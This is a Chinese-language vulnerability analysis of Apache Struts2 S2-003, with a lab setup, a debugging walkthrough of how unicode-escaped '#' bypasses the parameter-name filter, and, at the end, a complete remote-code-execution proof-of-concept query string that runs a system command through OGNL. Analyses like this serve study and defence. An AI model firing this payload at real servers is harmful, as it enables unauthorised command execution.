Struts2-003远程代码执行漏洞分析

1.漏洞信息

官方链接https://cwiki.apache.org/confluence/display/WW/S2-003

官方概述:XWork ParameterInterceptors bypass allows OGNL statement execution

影响版本:Struts 2.0.0 - Struts 2.0.11.2

修复摘要:Developers should immediately upgrade to Struts 2.0.12 or upgrade to XWork 2.0.6

2.漏洞原理

Struts2将HTTP的每个参数名解析为ognl语句执行,而ognl表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果

3.环境搭建

下载 Struts2.0.11.2http://archive.apache.org/dist/struts/binaries/struts-2.0.11.2-all.zip

3.1 目录结构

3.2 引用的包

  • commons-logging-1.0.4.jar
  • freemarker-2.3.8.jar
  • ognl-2.6.11.jar
  • struts2-core-2.0.11.2.jar
  • xwork-2.0.5.jar

3.3 相关文件

index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-003</title>
</head>
<body>
<h2>S2-003 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-003">https://cwiki.apache.org/confluence/display/WW/S2-003</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

struts.xml

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-003" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>

com.demo.action.LoginAction.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;

public String getUsername() {
return this.username;
}

public String getPassword() {
return this.password;
}

public void setUsername(String username) {
this.username = username;
}

public void setPassword(String password) {
this.password = password;
}

public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">

<display-name>S2-003 Example</display-name>

<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>

<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>

</web-app>

4.漏洞分析

这里需要提示一下,一定要在Tomcat6下测试。Tomcat7及以上版本传入特殊版本会报错,如下图所示

在动态调试之前,首先要先了解下OGNL表达式中三个符号(%,#,$)的一些含义

  • %的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值
  • #的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用
  • $主要是在Struts 2配置文件中,引用OGNL表达式

我们和001调试的位置一样,在setParameters处打断点

跟进xwork-2.0.5.jar!com/opensymphony/xwork2/interceptor/ParametersInterceptor

这里获取到传入的值,赋值到acceptableName

跟进acceptableName

继续跟进isAccepted(name),这里主要是检测我们的参数名中是否包含= , # :,来防止传入恶意特殊字符开头如#等。如果参数名匹配到这几个字符,acceptableName就会返回false,下面的ognl表达式就不会执行。

所以我们构造payload时,使用unicode为\u0023来代替#,来绕过匹配的内容,这样acceptableName就会返回true,从而进一步执行。

跟进xwork-2.0.5.jar!com/opensymphony/xwork2/util/OgnlValueStack.class进入到setValue方法

继续跟进,可以看到expr的内容传入到OgnlUtil.setValue()中

跟进xwork-2.0.5.jar!com/opensymphony/xwork2/util/OgnlUtil.class,可以看到最终payload包含的#,经过unicode编码绕过后,赋值给o,最终作为OGNL表达式来执行

5.漏洞利用

POC:

1
?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ifconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

参考链接